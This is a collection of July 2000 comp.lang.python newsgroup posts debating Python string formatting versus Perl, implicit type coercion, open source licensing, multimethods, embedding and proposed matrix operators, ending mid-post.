From ingoogni at CUT.THIS.OUT.home.nl  Sun Jul 30 04:03:57 2000
From: ingoogni at CUT.THIS.OUT.home.nl (ingo)
Date: Sun, 30 Jul 2000 08:03:57 GMT
Subject: cStringIO & write error?
References: <8F80A1458seed7@212.120.66.218> <etdpunw95y2.fsf@w20-575-109.mit.edu> <8F80E5BE4seed7@212.120.66.218> <etdn1j08w5x.fsf@w20-575-109.mit.edu>
Message-ID: <8F816FC56seed7@212.120.66.218>

Alex wrote:

>Sorry, should have been more specific.  What happens if you try this?
> .....

It works.
Thanks,

Ingo

-- 
Photography: http://members.home.nl/ingoogni/
Pov-Ray    : http://members.home.nl/seed7/


From grey at despair.rpglink.com  Sat Jul 29 18:01:18 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:01:18 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <1vl4os8357de0humn8db0v30ejatjgcn48@4ax.com>
Message-ID: <slrn8o6kt9.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 04:02:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>Hmmm... An example of why I think I would prefer format strings over
>in-place variables is that format strings seem more powerful to me.

    Why is there a difference?  

"Some string with a $formatstring in it",$foo

"Some string with a $foo:$formatstring in it."

"Some string with a $$foo:$formatstring in it."

    Last example both the variable and the format string are changable.  Toss
it outside the block...

"Some string with a ",$$foo:len($$foo)-2:0," in it."

    The effect is exactly the same, you just do have the programming langauge
trying to emulate German in the process.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From swun at eSec.com.au  Wed Jul 19 00:57:22 2000
From: swun at eSec.com.au (the turtle)
Date: Wed, 19 Jul 2000 14:57:22 +1000
Subject: How to use smtp and checksum in python?
Message-ID: <39753531.983BC8F5@eSec.com.au>

Thanks
Sam



From alex at magenta.com  Mon Jul 31 08:27:11 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 31 Jul 2000 14:27:11 +0200
Subject: formatting (was Re: Perl is worse!)
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <8luhso41ce8@news2.newsguy.com> <slrn8o6lo2.f91.grey@teleute.rpglink.com> <8m1f0462n4o@news2.newsguy.com> <slrn8o9jn9.i9b.grey@teleute.rpglink.com>
Message-ID: <8m3ri602ej2@news1.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o9jn9.i9b.grey at teleute.rpglink.com...
> On Sun, 30 Jul 2000 16:29:42 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >When the format string is expressed as an inline constant you can see it
in
> >place, but you don't have the other advantages (such as
>
>     Non-issue.  You were expressing your format string as a variable and
the
> same can happen with variables in line.

Issue.  Either the format-string and the variables are inline (you can see
them inplace) or they're fetched otherwise and kept (far from clear how,
if you have more than one thing, such as some pieces of formats, some
of variables, some more of formats, etc; lucidly obvious, with format-string
and [sequence|mapping] of values!), which gives you other advantages.

Things being immediately-obvious-inline tends to help with smaller
projects, beginning programmers, etc.  The other advantages accrue
increasingly to larger/functionally richer programs.  There may be
therefore a switch-over point, where one form or the other becomes
preferable.  A language may want to cover the whole spectrum.

Smaller/poorer programs, ones being worked on by beginners, etc,
tend not to require very accurate, nitpicky formatting.  For those
purposes, Python's print statement can be quite adequate -- and,
not unsurprisingly, it works exactly by the sequence-of-variables-
and-pieces-of-strings that beginners may find simpler, may be
more obvious in-the-small, etc.  When formatting needs get more
sophisticated, both sequence-oriented and namingtag-oriented
forms can come in handy -- and Python provides both.


> >When you end with % vars(), there is no substantial difference.
> >When you use the more substantial flexibility allowed by using
> >other mapping-objects, if that flexibility is needed, then the
> >advantages are many -- see above for a *beginning* to them.
>
>     No, there is no difference.  What you have is a format string with
named
> placeholders in-line.  You have to define the variables ahead of time.

There is absolutely no need to "define the variables ahead of time"
with either form of Python format-string.  The key issue is that _any
mapping object_ is just as acceptable as vars(), so no variables
need be defined unless you WANT to define them, either 'ahead of
time' or not.  All you need is to set up the associations tag->value
in the mapping-object, and you can do that any which way -- ahead
of time, just-in-time, a mixture of both.  FAR *more substantial
flexibility* than any language (fake, as in your examples, or true)
that ties you hand and foot to the one-and-only-mapping provided
by variablename->variablevalue.

>     I have the same.

No you don't, not even in the blue-sky, invented-and-modified-on-
demand fake-language you've been dreaming up as we go.  You
lack flexibility, because you're tied to a single mapping-object.


>     Difference is you still have to tack on the variables to the end,
> regardless of what form they take.

I have to specify what mapping-object I'm using each time (and
I have many ways to do that) in order to be able to use different
mapping objects in different cases.  When I'm using "the
variables", which appears to you to be the only mapping that
exists or can ever exist, I'm basically writing:

    formatstring %vars()

while you're writing

    formatstring someotheroperator

or you can make the otheroperator prefix instead of postfix,
etc, but you'd better have SOME way to say that formatstring
is to be subject to formatting -- having different kinds of strings
for formatting-operation and every-other-operation would be
very unwieldy, as well as flying right in the face of your "data
is data" stance, right?

Oops wait I forgot, that's exactly what your beloved Perl does,
isn't it?  'Ba$a at u%e' is a plain string without formatting, while
"Ba$a at u%e" (still 'data is data is data', innit?-) is a string to
which formatting ('interpolation', if I recall the terminology that
Perl uses) is implicitly applied.  So _in addition_ to this break
in your 'data is data, the operator commands anyway' stance,
you get the extra joy of figuring out different ways and means
to have formatting applied anyway after a normal string is
built up/fetched from somewhere/etc.  Can you spell "ad hoc"?-)


Python isn't beyond criticism here, by the way.  As an
alternative to the % _operator_, a named-function (to
be provided as a built-in) could perfectly well have been
chosen by our BDFL:

    format(formatstring, a, b, c)

or

    format(formatstring, vars())

isn't (IMHO) any less readable than the current

    formatstring % (a,b,c)

or

    formatstring % vars()

just _slightly_ more verbose, but, again IMHO, that slight
extra verbosity would be in a good cause.

I do not know why the % operator happened to be chosen
in preference to an explicitly-named 'format' built-in function
(and I confess to some curiosity in this regard; understanding
the design-rationale behind a language/framework/library is
often extremely helpful in using it to best effect, and of course
"I'm still an egg" in Python terms -- anybody _knows_...?).


> >That's what I would have liked to do, but often couldn't because
> >Perl might not be installed on some target-machines, sigh.  At
> >least, Bourne-shell could be counted on at the time.
>
>     Aside from Solaris pre-8, what is left that doesn't?

Just a zillion machines installed at about zillion/10 client sites,
I guess.  Remember we do commercial off-the-shelf software,
that is supposed to install and run, without needing our direct
involvement, on a huge variety of customer machines.  I can't
make Perl a pre-req (nor Python either, sigh) before scripts
that determine configuration, and set up other scripts that do
the actual installation, can run.

OK, these days installations are done with dedicated packages
(typically with proprietary scripting-languages so utterly weak as
to make one blank -- but I'm not the one having to write those
scripts nowadays, so, selfishly, I look the other way!-).  _After_
the installation, of course, whatever I know my app has installed,
I can use.  Whether installing a scripting-engine is worthwhile
depends on the amount of scripts in the application that could
take advantage of it, of course.


Alex





From claird at starbase.neosoft.com  Fri Jul 28 09:01:27 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 28 Jul 2000 08:01:27 -0500
Subject: Content of the Perl6 talk
Message-ID: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>

<URL:http://deja.com/=dnc/getdoc.xp?AN=651665267> is the most pro-
vocative summary I've yet seen of Larry Wall's talk at the O'Reilly
Open Source Convention.  Mark-Jason Dominus's typically masterful
<URL:http://www.perl.com/pub/2000/07/perl6.html> provides technical
details.  I think at least the first of these will reward a quick
read by everyone involved in planning the futures of, for example,
Python and Tcl.  I applaud Conrad Schneiker for his care in prepar-
ing this.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From m.faassen at vet.uu.nl  Thu Jul 27 07:03:01 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 11:03:01 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au> <8lk1ee$71q$1@slb6.atl.mindspring.net> <O%ff5.11777$4p3.90266@news-server.bigpond.net.au> <8lk2kg$kbv$1@nntp9.atl.mindspring.net> <8lk4cp$i9c$1@nnrp1.deja.com>
Message-ID: <8lp4t5$6bu$1@newshost.accu.uu.nl>

effbot at pythonware.com wrote:
> Aahz Maruch wrote:
>> Yes, I know about the soap opera.  The fact remains that 1.6
>> will almost certainly never be a released chunk of code -- it
>> never had a beta!

> looks like you've missed the last episode.

> according to plans, 1.6 beta 1 will be released in
> about a week.  for more info, see PEP-160:

>    http://python.sourceforge.net/peps/

What a mess. So that was why I didn't watch soap operas. :)

It'd be useful for the community if there were some document out there
that described what the heck is going on, and why. Once all of this becomes
a bit more clear for the parties involved, that is.

It keeps changing and it makes people worried. At least it makes me 
worried.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From rumjuggler at cryptarchy.org  Fri Jul 28 05:21:28 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 09:21:28 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <75k2osst2eh5nbel73ju033l8s97bs2v0s@4ax.com>

On Fri, 28 Jul 2000 08:11:18 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 01:24:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
>>Steve, in case it isn't clear yet, Python programmers *want* to be blown out
>>of the water when doing something as senseless as
>
>>    1 + "foo"
>
>    It isn't senseless.  That is the whole point.  It is only senseless
>because of typing.  Clearly you cannot add a word to a number, granted.  But
>what of 1 + "1"?  That isn't senseless, those are two numbers.  I can see they
>are two numbers, it is only because of typing that it fails.  
>
>    So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
>What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
>together?  If it is a string that cannot be converted to an integer, throw an
>exception, otherwise, do it.  Then that preserves the 1 + "foo" exception and
>also does the sane thing of getting rid of types when it makes sense to do so.

Well, what if you wanted 
	1 + "1"
to result in "11", not 2?

>    Hell, why do an exception at all?  Why not do what is already done with
>integers, reals and floats?  
>
>1 + 1 = math
>
>1 + "1" = math
>
>1 + "foo" = string ("1foo")

That could lead to some interesting results if you expect numerical input.

>"foo" + "foo" = string ("foofoo")
>
>    You already accept:
>
>1 + 1 = integer
>
>1 + 1.2 = float
>
>1 + 1j = complex
>
>    So please don't tell me you don't want "automagic" type changing when it
>is already there and, I'd wager, you use it extensively.

Those are all numeric types.  I don't see why you don't also start arguing
for the validity of 

 list(1 + ['4', someclassinstance] + "lalala")

-- 
Barnabas T. Rumjuggler

93. When someone says "I want a programming language in which I need only
say what I wish done," give him a lollipop.
 -- Alan Perlis <http://www.cs.yale.edu/homes/perlis-alan/quotes.html>


From wjdandreta at worldnet.att.net  Thu Jul 13 23:23:11 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Fri, 14 Jul 2000 03:23:11 GMT
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net> <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net>
Message-ID: <zIvb5.2585$tI4.159707@bgtnsc05-news.ops.worldnet.att.net>

Hi Jeff,

I guess my question was poorly worded. I was looking for the way to set the
internal thousands separator to a comma so atof('1,142.00') results in
1142.00. It's clear from the doc's that it is posssible to do but it doesn't
give enough info for me to figure out how.

I would consider that a better way than to do it by hand with the replace
function.

For some reason, the Python I am using (1.5.2 dx for dos) does not have the
thousands separator set to a comma.

Bill
Jeff Blaine wrote in message ...
>
>I'm pretty sure you did it the Right Way.
>
>Numbers containing commas are there for readability purposes by humans.
>
>It's just a call to string.replace() to get rid of the comma... (or several
>other ways to do the same thing).




From lull at acm.org  Thu Jul 20 22:15:02 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 21:15:02 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be>
Message-ID: <trbfns8sllge5l5cuaia7529tsbupveq52@4ax.com>

Gregory Lielens <gregory.lielens at fft.be> wrote (with possible
deletions):

> I like the parethese a lot! except for ? which is probably out of
> question, 
> this is the prettier way to do it, but (alwas a but :-( )
> 
> - the solve operator indeed...The only thing i can come with is the ugly
> (%)
>   or the pretty but out-of-question (\)
> - patching the parser to deal with that looks a lot more difficult than
> @ or even
>   . variants (this is doable - in fact, this is already done...) because
> I think
>   (){}[] are treated in a more specific way by the Grammar...I think to
> implement that
>   we need a real Grammar guru!

I'm no expert on the Python lexical analyzer, but I'd be surprised if
the parens are a real problem.  The '\' yes -- but not the parens.  A
typical 'maximal munch' rule says that if the same character could be
the start of several different tokens, the longest matching token
wins. That's why Python has no trouble distinguishing between the
delimiter '=' and the operator '=='.

The \ is likely handled as a completely separate step, prior to
lexical analysis, so the lexical analyzer only sees it when the source
code has it doubled:
  source code:            '\\'
  lexical analyzer sees:  '\'

Regards,
John


From jcm at bigskytel.com  Thu Jul  6 15:23:03 2000
From: jcm at bigskytel.com (David Porter)
Date: Thu, 6 Jul 2000 13:23:03 -0600
Subject: Wait/Delay
In-Reply-To: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au>; from wilson.austin.aj@bhp.com.au on Fri, Jul 07, 2000 at 05:11:36AM +1000
References: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au>
Message-ID: <20000706132303.B19982@novara.avenue>

* A J Wilson <wilson.austin.aj at bhp.com.au>:

> Is there a command/function in python to put a delay or wait step into a
> program?

import time
time.sleep(1)




From shouldbe at message.com  Fri Jul  7 09:56:52 2000
From: shouldbe at message.com (Arinté)
Date: Fri, 07 Jul 2000 13:56:52 GMT
Subject: Doc question
Message-ID: <Ekl95.37485$NP5.1181303@newsread2.prod.itd.earthlink.net>

The docs say this about PyArg_ParseTuple objects
"O" (object) [PyObject *]
Store a Python object (without any conversion) in a C object pointer. The C
program thus receives the actual object that was passed. The object's
reference count is not increased. The pointer stored is not NULL.

So, I don't need to do a Py_XDECREF on this unless I need to keep it, and in
that case I need to do a Incref first.  Correct.

I am having a lot of bad experiences on embedding, and I just want to
confirm stuff.  I wish I was working on this stuff exclusively.





From tim_one at email.msn.com  Wed Jul 26 22:22:15 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Wed, 26 Jul 2000 22:22:15 -0400
Subject: The State of Python
In-Reply-To: <slrn8nv0l4.mqi.grey@teleute.rpglink.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEEAGMAA.tim_one@email.msn.com>

[Steve Lamb]
>     Stupid question: Why is it everyone and their mother is
> coming out with a new open source license for their project
> instead of sticking with the established ones?

I wish I knew.  Haggling over the license for Python has delayed the BeOpen
Python release plans repeatedly, so all I see now are the costs; when the
new license is posted, you can judge for yourself whether it was worth the
delays.  I've heard indirectly that CNRI (Python's former home, and author
of the new license) believes the new license provides new protections for
the community, but AFAIK they've made no public stmt about that.  Maybe my
employer will shoot me for saying so, but in *general* I find it sadly
ironic that everyone plays along with carrying out negotiations about new
"Open Source" licenses behind closed doors; while the result may be "open",
the process sure isn't.

> I mean, it causes headaches trying to keep all of the licenses
> legally compatible with one another which can cause problems for
> open source down the road when these licenses are actually put to
> the legal test.

Std pitch:  If you're sure that you want *not* to control what people do
with your project (which was the clear intent of the old Python license),
consider putting it in the public domain from the start.  As soon as it's
got a license, you're going to have to hassle with it forever after, and
every legal entity that touches your project is going to want to add their
own unique twists (which is why licenses proliferate, I think -- asking a
lawyer to refrain from changing an inherited license is like asking a hacker
to leave inherited code alone <0.3 wink>).  The decision to put something in
the public domain is irrevocable, so stops that game before it starts.  In
the area of programming languages, the decision to develop Icon
(http://www.cs.arizona.edu/icon/) in the public domain has granted Ralph
Griswold a long, happy and lawyer-free life.

not-speaking-for-anyone-ly y'rs  - tim






From anthony at interlink.com.au  Thu Jul 27 21:19:15 2000
From: anthony at interlink.com.au (Anthony Baxter)
Date: Fri, 28 Jul 2000 11:19:15 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from "Alex Martelli" <alex@magenta.com> 
   of "Thu, 27 Jul 2000 14:39:10 +0200." <8lpand0gbg@news1.newsguy.com> 
Message-ID: <200007280119.LAA23655@mbuna.arbhome.com.au>

>>> "Alex Martelli" wrote
> I will piously hope that the *internals* of Zope remain in bright, clean
> Python (or C where needed, e.g. for speed purposes), but if that is
> so, then no "pollution" ensues if, over that Python-base, one is allowed
> to build superstructure in Perl, Visual Basic, Tcl, JScript, or whatever
> your least-favourite language happen to be.

Certainly that's the message coming out of DC...

Anthony

-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.




From grey at despair.rpglink.com  Fri Jul 28 04:04:45 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 08:04:45 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz>
Message-ID: <slrn8o2fgr.1e2.grey@teleute.rpglink.com>

On 28 Jul 2000 19:46:29 +1200, Paul Foley <see at below> wrote:
>The distinction you're trying to make (between "types" and "just
>data") is rather foolish.  Data are the things that have types.

    Rather foolish?  For whom?  Humans don't think in "integer" and "long
integers" or "strings".  We think in terms of data whose exact value, "type",
is determined by context alone.

    As a human, type 1.  Character?  String?  Integer?  Floating number?  No,
it is 1 and it can be all of those all on context.  Types are a construct
created to help computers deal with human concepts.  Why, then, when a
language comes along that does a darn fine job of doing the right thing by
defining data as a scalar (it isn't a string, it isn't an integer, it isn't
floating point, it isn't a character, is can be all of them depending on
context) do you call it "foolish" to think in those terms?

>character "a" (Python, sadly, lacks a proper character type);

    I'd consider that a blessing.  Once less artifical construct to get in the
way.

>No; "a" is a string and strings are sequences; 1 is an integer, and
>integers are not sequences.  This particular quirk is in your head.

    No, the particular quirk is in the language by forcing types.  Remember,
all this came about because I pointed out that Python has just as much
automagical "typing" going on as Perl does, it just limits that typing from
what I can see.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From guido at beopen.com  Mon Jul 31 11:10:05 2000
From: guido at beopen.com (Guido van Rossum)
Date: Mon, 31 Jul 2000 15:10:05 GMT
Subject: Python in politics (sssssssssnake!)
References: <Pine.GSO.4.10.10007291308070.20226-100000@sundial> <398524B5.A608BFF1@philips.com>
Message-ID: <cp8zuie0vz.fsf@cj20424-a.reston1.va.home.com>

Gerrit Muller <gerrit.muller at philips.com> writes:

> Here in Holland we have a series of books by Addo Stuur, Programming for
> children, Windows for children etcetera, which all follow the formula of
> telling in detail how to do something followed by an exercise. My
> children sometimes get bored by the completeness of detail Addo brings
> in. Nevertheless his method gets children productive in a short amount
> of time. Maybe we should send Addo Stuur a few Python books :-)

Not a bad idea!  I'd be happy to do this, if Addo could be interested.
Do you think that Addo can program in any language?  Or is he just a
computer *user*?  Can you get me in touch with him?  (Nederlands is OK!)

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From see at my.signature  Thu Jul 20 22:25:54 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 14:25:54 +1200
Subject: namespace sharing (longish)
References: <3bP6MX$m9o@openbazaar.net>
Message-ID: <3977B4B2.CC5420C3@my.signature>

"robin"@illusionsexeculink.com.bbs at openbazaar.net wrote:
> 
> All I want to do is execute user-supplied (eg: arbitrary) functions
> and have them share a namespace.

Your example doesn't work because your one() and two() functions
live in a separate module. The global namespace of a function
defined in a module is always the namespace of that module, 
regardless of how the function gets called.

One way to do what you want is to compile() the function
definition itself:

  namespace = {'var_main': 'hello', '__builtins__': {}}
  source = """
  def one():
    global var_main
    print var_main
    var_main = 'spam'
  """
  code = compile(source, "", "exec")
  exec code in namespace # defines the function within namespace
  print namespace
  namespace["one"]()     # call the function
  print namespace

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From rapto at arrakis.es  Sat Jul 22 06:57:47 2000
From: rapto at arrakis.es (Marcos =?iso-8859-1?Q?S=E1nchez?= Provencio)
Date: Sat, 22 Jul 2000 10:57:47 GMT
Subject: PIL and HPGL
References: <4682ls4ukdce8uipv7hcgfjkihv6teoppj@4ax.com>
Message-ID: <39799B07.C71305BB@arrakis.es>

You may get smaller file sizes if none of the steps converts your image
to bitmap, staying vectorial. This might not be the case for very
complex drawings, lots of hidden stuff, and/or low resolution.


From rob at hooft.net  Wed Jul 19 06:08:51 2000
From: rob at hooft.net (Rob W. W. Hooft)
Date: Wed, 19 Jul 2000 12:08:51 +0200 (CEST)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <3975985F.FF8D1591@schneider-kamp.de>
References: <m2vgy28uwi.fsf@hooft.net>
	<3975985F.FF8D1591@schneider-kamp.de>
Message-ID: <14709.32307.958757.855324@temoleh.chem.uu.nl>

>>>>> "PS" == Peter Schneider-Kamp <peter at schneider-kamp.de> writes:

 PS> I cannot comment on the reason for this idiom, but for your name
 PS> space pollution using "from ... import *": Don't use it.

I don't. But some still do.

 PS> <rant>Even in the short time I have been on the list I have seen
 PS> examples of nearly untrackable bugs because of name space
 PS> collisions when using "from ... import *".</rant>

I am all in favor of solving this kind of problems 2 ways: 
 - Discourage use of from ... import * even more than now
 - Make use that there is as little pollution as possible

 PS> I don't even use "from Tkinter import *" in GUI apps. 

Same here. I don't even rename it. The repeated Tkinter.TOP and
Tkinter.YES are a bit annoying, but it makes the code quite clear.

Rob

-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========



From neelk at brick.cswv.com  Sun Jul 23 10:20:01 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 23 Jul 2000 14:20:01 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com> <8ite5.9395$4p3.69392@news-server.bigpond.net.au>
Message-ID: <slrn8nm1jr.an7.neelk@brick.cswv.com>

Neil Hodgson <neilh at scintilla.org> wrote:
> > I first ran into this when I tried to implement a sparse matrix
> > class. At that time, the Numpy distribution had a Matrix class that
> > implemented regular matrix multiplication with '*', and I wanted to
> > write another class SparseMatrix that would do the right thing
> > whenever it was multiplied with a Matrix.
> 
>    I had a look at Dylan a few years ago and multimethods look good for some
> areas but you also lose the encapsulating aspect of normal OO. The
> functionality for a class isn't nicely tied up in one bundle but is
> federated over a wide and extensible area. I would expect Python with
> multimethods to look very different from current Python. Like Aahz, I'd like
> to see what your idea of Python with multimethods would look like?

Honestly, I don't have a good idea yet. I'll spend a couple of days
trying out some variations and then get back to you.

In the meantime, there's a simple-minded implementation you can use to
play around with multimethods on my webpage

  http://www.sff.net/people/neelk/open-source/Multimethod.py

It's a one-day hack, so be warned -- it's more for experimentation than
anything else.

And there's a technical report by some of the Tuple and Cecil people
that implements a module-friendly multimethod system for Java at

  ftp://ftp.cs.iastate.edu/pub/techreports/TR00-06/TR.ps.gz


Neel


From leo at iems.nwu.edu  Mon Jul 24 16:55:41 2000
From: leo at iems.nwu.edu (Leonardo B. Lopes)
Date: Mon, 24 Jul 2000 15:55:41 -0500
Subject: Embedding Example
References: <397C6D55.6F7C@iems.nwu.edu> <ted.drain-2407001234490001@mjordan.jpl.nasa.gov>
Message-ID: <397CAD4D.17D8@iems.nwu.edu>

Dear Ted,

	Thanks! BTW, you mentioned the existence of a FAQ. Is it an embedding
FAQ, or just the regular FAQ under embedding? I can't find any embedding
FAQ on google:

> 
> This really needs to be in the FAQ on embedding.
>                                ^^^^^^^^^^^^^^^^

Thanks!
Leo.

-- 
========================================================================
Leonardo B. Lopes                                       leo at iems.nwu.edu 
Ph.D. Student                                              (847)491-8470
IEMS - Northwestern University              http://www.iems.nwu.edu/~leo


From gabriel_ambuehl at buz.ch  Sun Jul 30 12:58:55 2000
From: gabriel_ambuehl at buz.ch (Gabriel Ambuehl)
Date: Sun, 30 Jul 2000 18:58:55 +0200
Subject: CGI downloading
In-Reply-To: <8m1lc5$89p$1@nnrp1.deja.com>
References: <8m1lc5$89p$1@nnrp1.deja.com>
Message-ID: <10673694897.20000730185855@buz.ch>

Hello lkcho,

Sunday, July 30, 2000, 6:33:09 PM, you wrote:

> Is there any possible way to download the whole cgi script, instead of
> letting it response with html pages?

If the webserver's configured properly, this should not be possible
without FTP or shell access to it.



Best regards,
 Gabriel





From newsgroup at neutron.globalnet.co.uk  Wed Jul 19 09:48:02 2000
From: newsgroup at neutron.globalnet.co.uk (Newsgroup)
Date: Wed, 19 Jul 2000 14:48:02 +0100
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin>
Message-ID: <8l4h60$jnk$2@gxsn.com>

> In the Open Source Crystal Space 3D engine we are working on a framework
for python
> scripting. It is already working reasonably well but you cannot yet do
everything
> that you'd want to do from a python script.

Can anybody explain what you actually do to attach the python, or any other
general purpose scripting language, to your game? I'm making a game with a
scripted engine and I have to write my own compiler to convert scripts into
a length of integers and a virtual machine to convert it into game logic.
Does python produce it's own compiled code and you then have to write a
virtual machine based on this output?

Regards,

Sean Wilson
http://www.users.globalnet.co.uk/~neutron/programming




From skip at mojam.com  Thu Jul 27 11:57:01 2000
From: skip at mojam.com (Skip Montanaro)
Date: Thu, 27 Jul 2000 10:57:01 -0500 (CDT)
Subject: Is the "Be" significant? (Re: The State of Python)
In-Reply-To: <397FD6B9.5017B952@see.my.signature>
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
	<397FD6B9.5017B952@see.my.signature>
Message-ID: <14720.23501.580330.14923@beluga.mojam.com>

    Greg> By the way, does BeOpen have anything to do with the BeOS people?

Nope, no connection.

    Greg> If not, it would seem to be a rather confusing choice of name.

Agreed...

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From collins at seal.aero.org  Wed Jul 19 11:48:34 2000
From: collins at seal.aero.org (Jeff Collins)
Date: Wed, 19 Jul 2000 08:48:34 -0700
Subject: Stripping down Python
In-Reply-To: <Pine.LNX.4.21.0007191525280.25218-100000@lade.src.no>
References: <Pine.LNX.4.21.0007191525280.25218-100000@lade.src.no>
Message-ID: <14709.52316.238323.441546@malibu.aero.org>

Take a look a Python for the Palm
(http://www.isr.uci.edu/projects/sensos/python/release_a1.tgz).  The
Parser, etc. has been stripped along with some builtin objects.  I
also created the new exception MissingFeatureError, which all removed
standard builtin functions raise when called.  The code is a work in
progress - there are still opportunities for further reduction.

Jeff


Morten W. Petersen writes:
 > Are there any papers/stories ideas of how to most effectively strip down
 > Python? Ie. how to trim down the size of Python as much as possible,
 > removing the parser etc. Just having the basic Python interpreter, with
 > basic libraries, capable of running .pyc and .pyo files.
 > 
 > -Morten
 > 
 > -------------------------------------------------------------
 > How to reply to email:
 >   http://home.sol.no/~vidaandr/news/OBSquoting.html (norsk)
 >   http://home.sol.no/~vidaandr/news/FAQquoting.html (english)
 > 
 > Who is the bigger fool? The fool or the fool who follows him?
 > 
 > -- 
 > http://www.python.org/mailman/listinfo/python-list
 > 



From see at my.signature  Thu Jul 20 01:04:15 2000
From: see at my.signature (Greg Ewing)
Date: Thu, 20 Jul 2000 17:04:15 +1200
Subject: Arbitrary operator symbols (Re: Operators for matrix: current choices)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <slrn8nbplh.jng.wtanksle@dolphin.openprojects.net> <islmyygd20.fsf@elk.ps.uni-sb.de>
Message-ID: <3976884F.51FD33D9@my.signature>

The main problem I see with any kind of scheme requiring
new operators to be defined before use is how you control
their scope.

Presumably they should be limited in scope to the module
where they are defined or imported, so that different
modules can define their own sets of operators without
conflicting with each other.

That means there has to be some way of importing
operators. And whatever definition and importing scheme
is used has to operate at compile-time, not run-time,
so the proposals made so far which involve executing
Python code to define operators aren't going to work.
Some sort of special syntax is needed.

Further, how do you manage a conflict between two modules
that you want to use at the same time, but they define
